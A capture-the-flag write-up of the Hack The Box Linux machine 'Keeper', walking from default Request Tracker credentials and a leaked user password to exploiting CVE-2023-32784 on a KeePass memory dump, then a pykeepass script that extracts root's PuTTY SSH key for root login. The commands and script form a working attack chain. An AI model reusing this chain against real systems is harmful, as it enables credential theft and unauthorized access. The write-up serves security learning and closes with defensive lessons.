root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat keeper.md
// writeups

Keeper

12 Aug 2023 · 8 min read
writeupshacktheboxlinuxEasyretiredvip
Keeper - maquina de Hack The Box

Executive summary — Keeper is a very current Easy Linux box built around secrets management: a Request Tracker (RT) ticketing system with a default admin account lets us read a ticket containing lnorgaard's initial password. In their home there's a memory dump of a running KeePass process and the .kdbx database; with CVE-2023-32784 we reconstruct the master password from the dump, and automating the database with pykeepass surfaces root's private SSH key, stored in PuTTY format. An RT → lnorgaard → KeePass dump (CVE) → root's key → root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.229.41

Attack map

[80] Request Tracker (RT) → default credentials root:password
   │  ticket reveals lnorgaard's initial password (Welcome2023!)
   ▼
[SSH]  lnorgaard
   │  home: KeePassDumpFull.dmp + passcodes.kdbx
   │  CVE-2023-32784 (keepass-dump-masterkey) → master: "rødgrød med fløde"
   ▼
[KeePass]  pykeepass automates the search → root's SSH key (PuTTY .ppk)
   ▼
[ROOT]  puttygen → OpenSSH → ssh root  (root.txt · user.txt)

1. Reconnaissance

nmap -sC -sV 10.129.229.41
22/tcp open  ssh
80/tcp open  http

Only two open ports: SSH and HTTP. With such a small attack surface, the entry point can only be the web application on port 80.

2. Foothold — Request Tracker and reused credentials

Visiting http://10.129.229.41 reveals Request Tracker (RT), Best Practical's support ticketing system. RT ships with a demo administrator account, root:password, which is still enabled here. Logging into the panel and browsing the ticket history, we find one related to onboarding user lnorgaard that exposes their initial password in plain text:

User: lnorgaard
Password: Welcome2023!

These are well-known, widely reused credentials: RT's demo account is rarely disabled in real deployments, and the initial passwords generated for new users end up leaking through the very ticketing system that manages them.

ssh lnorgaard@10.129.229.41   # Welcome2023!

Shell as lnorgaard obtained. Their home directory holds two files we'll reuse in the next phase: KeePassDumpFull.dmp and passcodes.kdbx.

3. KeePass — recovering the master password from memory (CVE-2023-32784)

KeePassDumpFull.dmp is a RAM memory dump taken while a KeePass process was open; passcodes.kdbx is the password database, encrypted with a master password we don't know yet. Goal: pull the master password out of the dump, open the database, and reach the credentials/key it holds for root.

CVE-2023-32784 affects KeePass 2.x before 2.54: the secure text control used by the master-password prompt leaves a residue of almost every typed character in process memory (the very first one is usually lost). A single memory dump is enough to reconstruct the password almost entirely. We use the public tool that implements the technique:

git clone https://github.com/matro7sh/keepass-dump-masterkey.git
python3 keepass-dump-masterkey/poc.py -d KeePassDumpFull.dmp
rødgrød med fløde

The recovered master password is, literally, the name of a Danish dessert — a good reminder that password "complexity" is worthless once it's exposed in memory.

4. Automating the extraction — pykeepass and root's PuTTY key

Instead of manually opening passcodes.kdbx in KeePassXC and digging through entries one by one, we automate the search with pykeepass, the Python library for scripting KeePass databases:

python3 -m pip install --user pykeepass --break-system-packages

The following script opens the database with the recovered master password, walks every entry concatenating title, username, password and notes, and looks for the PuTTY-User-Key-File header — the marker of a private key exported in PuTTY's (.ppk) format:

python3 - <<'PY'
from pykeepass import PyKeePass

kp = PyKeePass("passcodes.kdbx", password="rødgrød med fløde")

for entry in kp.entries:
    text = "\n".join([
        entry.title or "",
        entry.username or "",
        entry.password or "",
        entry.notes or ""
    ])

    if "PuTTY-User-Key-File" in text:
        start = text.index("PuTTY-User-Key-File")
        key = text[start:]

        lines = [line.strip() for line in key.splitlines() if line.strip()]

        with open("root-putty.key", "w") as f:
            f.write("\n".join(lines) + "\n")

        print("[+] Clave PuTTY guardada en root-putty.key")
        break
else:
    print("[-] No se encontró la clave PuTTY")
PY
[+] Clave PuTTY guardada en root-putty.key

One KeePass entry stored, in its notes, root's complete private SSH key in PuTTY format. The script extracts it and leaves it ready in root-putty.key with no manual intervention.

5. Escalation — from PuTTY to OpenSSH and root access

Linux SSH doesn't understand PuTTY's .ppk format; it needs converting to OpenSSH with puttygen:

sudo apt install putty-tools -y
puttygen root-putty.key -O private-openssh -o keeper-root
chmod 600 keeper-root
ssh -i keeper-root root@10.129.229.41

Session opened directly as root, with no additional local privilege-escalation technique required. System fully compromised:

cat /root/root.txt
cat /home/lnorgaard/user.txt

🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdRequest Tracker (RT)Demo administrator account left enabled (root:password) → ticket leaks lnorgaard's initial passwordSSH as lnorgaard
CredentialsKeePass 2.x (running process)CVE-2023-32784 — the master password is left residual in RAM and reconstructed from a memory dumpRead access to the .kdbx database
PrivEscRoot's KeePass entryRoot's private SSH key stored in plaintext inside the password manager (PuTTY format)Shell as root

Lessons learned

  • Disable demo accounts on any product you deploy (RT included): root:password is very widely known.
  • Don't leave initial passwords in plain text inside the very ticketing/support system that manages them.
  • CVE-2023-32784: KeePass 2.x memory dumps (< 2.54) leak almost the entire master password. Update, and don't leave the process unlocked and unattended.
  • Automating with pykeepass (or similar tools) massively speeds up secret-hunting in large databases — useful both for attacking and for auditing your own databases.
  • Never store root's SSH keys — in any format — inside a standard user's password manager; a different format (PuTTY vs OpenSSH) isn't a security barrier, it only takes puttygen to convert it.